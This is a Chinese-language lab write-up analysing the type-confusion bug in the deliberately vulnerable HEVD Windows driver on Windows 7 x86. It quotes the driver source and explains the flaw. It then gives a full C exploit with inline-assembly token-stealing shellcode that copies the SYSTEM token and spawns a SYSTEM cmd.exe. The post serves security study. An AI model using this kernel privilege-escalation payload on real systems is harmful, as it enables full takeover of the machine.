当前位置:网站首页>漏洞分析丨HEVD-10.TypeConfusing[win7x86]
漏洞分析丨HEVD-10.TypeConfusing[win7x86]
2022-08-05 16:55:00 【极安御信安全研究院】
作者selph
前言
窥探Ring0漏洞世界:类型混淆
实验环境:
•虚拟机:Windows 7 x86
•物理机:Windows 10 x64
•软件:IDA,Windbg,VS2022
漏洞分析
老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码
首先是申请了8字节非分页池内存
然后接下来,把用户传入的8字节结构保存到了内核申请的8字节空间里,然后调用了一个初始化函数,程序就结束了
现在来看看这个初始化程序,打印后4字节的内容,然后调用后4字节的内容(回调函数):
从反汇编的层面看到的是,这里传入的后4字节会被当成函数调用
接下来看看源码:
///
/// Trigger the Type Confusion Vulnerability
///
///The pointer to USER_TYPE_CONFUSION_OBJECT object /// NTSTATUS NTSTATUS TriggerTypeConfusion( _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL; PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead( UserTypeConfusionObject, sizeof(USER_TYPE_CONFUSION_OBJECT), (ULONG)__alignof(UCHAR) ); // // Allocate Pool chunk // KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag( NonPagedPool, sizeof(KERNEL_TYPE_CONFUSION_OBJECT), (ULONG)POOL_TAG ); if (!KernelTypeConfusionObject) { // // Unable to allocate Pool chunk // DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT)); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject); } DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject); DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject); DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT)); KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID; KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType; DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID); DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType); #ifdef SECURE // // Secure Note: This is secure because the developer is properly setting 'Callback' // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as // parameter // KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback; Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject); #else DbgPrint("[+] Triggering Type Confusion\n"); // // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper // use of the 'UNION' construct. The developer has not set the 'Callback' member of // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as // parameter // Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject); #endif DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject); // // Free the allocated Pool chunk // ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG); KernelTypeConfusionObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
这里安全版本和非安全版本的区别在于是否初始化回调函数,然后再进入初始化函数
这里用的对象结构如下,可以看到,用户传入的是4字节的Type,而在内核结构里,后4字节是个联合体
typedef struct _USER_TYPE_CONFUSION_OBJECT{ULONG_PTR ObjectID;ULONG_PTR ObjectType;} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;typedef struct _KERNEL_TYPE_CONFUSION_OBJECT{ULONG_PTR ObjectID;union{ULONG_PTR ObjectType;FunctionPointer Callback;};} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
最后进入初始化函数,就直接调用回调函数了:
///
/// Type Confusion Object Initializer
///
///The pointer to KERNEL_TYPE_CONFUSION_OBJECT object /// NTSTATUS NTSTATUS TypeConfusionObjectInitializer( _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject ) { NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback); DbgPrint("[+] Calling Callback\n"); KernelTypeConfusionObject->Callback(); DbgPrint("[+] Kernel Type Confusion Object Initialized\n"); return Status; }
这里初始化函数没啥问题,主要在于进入初始化函数之前,对对象结构的操作,因为使用了联合体,如果没有初始化Callback,那么用户输入的ObjectType会被当成Callback去执行,这就是所谓的类型混淆。
漏洞利用
利用思路就很简单了,传入对象后四字节给定shellcode地址即可:
#include#include// Windows 7 SP1 x86 Offsets#define KTHREAD_OFFSET0x124// nt!_KPCR.PcrbData.CurrentThread#define EPROCESS_OFFSET0x050// nt!_KTHREAD.ApcState.Process#define PID_OFFSET0x0B4// nt!_EPROCESS.UniqueProcessId#define FLINK_OFFSET0x0B8// nt!_EPROCESS.ActiveProcessLinks.Flink#define TOKEN_OFFSET0x0F8// nt!_EPROCESS.Token#define SYSTEM_PID0x004// SYSTEM Process PIDtypedef struct _UserObject {ULONG_PTR ObjectID;ULONG_PTR ObjectType;}UserObject,*PUserObject;VOID TokenStealingPayloadWin7() {// Importance of Kernel Recovery__asm {pushad;获取当前进程EPROCESSxor eax, eaxmov eax, fs: [eax + KTHREAD_OFFSET]mov eax, [eax + EPROCESS_OFFSET]mov ecx, eax;搜索system进程EPROCESSmov edx, SYSTEM_PIDSearchSystemPID :mov eax, [eax + FLINK_OFFSET]sub eax, FLINK_OFFSETcmp[eax + PID_OFFSET], edxjne SearchSystemPID; token窃取 mov edx, [eax + TOKEN_OFFSET]mov[ecx + TOKEN_OFFSET], edx; 环境还原 + 返回 popad}}int main(){ULONG UserBufferSize = sizeof(UserObject);PVOID EopPayload = &TokenStealingPayloadWin7;HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);// 构造对象 UserBuffer->ObjectID = 0x12345678;UserBuffer->ObjectType = (ULONG_PTR)EopPayload;ULONG WriteRet = 0;DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);UserBuffer = NULL;system("pause");system("cmd.exe");return 0;}
截图演示
挖坑
CVE-2018-8174
参考资料
•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
边栏推荐
- 阿里百万级Redis小册震撼开源,打开源码新世界
- With ecological power, openGauss breaks through the performance bottleneck
- 从功能测试到掌握自动化,四个月时间我是如何从点工进入互联网大厂
- [uvm]create_item???
- 【Case】3d navigation
- Observed cloud in wan cloud market, promote the cloud system unified observation ability
- 左益豪:用代码创造一个新世界|OneFlow U
- Software testing - workflow review (requirements analysis, test plan, test cases, case review, test execution, bug tracking, test report, defect report)
- 【无标题】
- MASA Stack 第三期社区例会
猜你喜欢

Good code in the eyes of a compiler engineer: Loop Interchange

AIRIOT答疑第7期|如何快速提升物联网项目交付速度?

基于eureka-server的服务注册与消费案例

软件测试岗位未来趋势怎么样?

After using Stream for many years, does collect still have these "saucy operations"?

JVM内存和垃圾回收-09.对象的实例化内存布局与访问定位

Sentinel link mode rule not working

JVM调优前置知识-深堆Retained Heap和浅堆Shallow Heap

CEO对今天的CIO们真正的要求是什么?

机器视觉应用方向及学习思路总结
随机推荐
Cholesterol-PEG-Azide,CLS-PEG-N3,脂溶性胆固醇-聚乙二醇叠氮
使用Stream多年,collect还有这些“骚操作”?
NLP 论文领读|无参数机器翻译遇上对比学习:效率和性能我全都要!
【翻译】EF Core 3.1.x, 5.x & 6.x Second Level Cache Interceptor
Fourier transform
From functional testing to mastering automation, how did I go from a point worker to an Internet factory in four months
电脑重装系统后如何给系统磁盘扩容空间
![CDATA[]] and escape characters explained
软件测试岗位未来趋势怎么样?
Number system conversion (16 questions per day during summer vacation)
【案例】animation动画
接口测试关联讲解
跨越“S型曲线”,华胜天成如何在数字时代开启第二曲线?
【Case】3d navigation
泊松编辑 (Poisson Image Editing)
七夕来了 是时候展现专属于程序员的浪漫了
机器视觉应用方向及学习思路总结
安装特定指定版本 低版本的r包 r包降级
观测云入驻青云云市场,提升云上系统统一可观测能力
【案例】3d变换之一个旋转的圆圈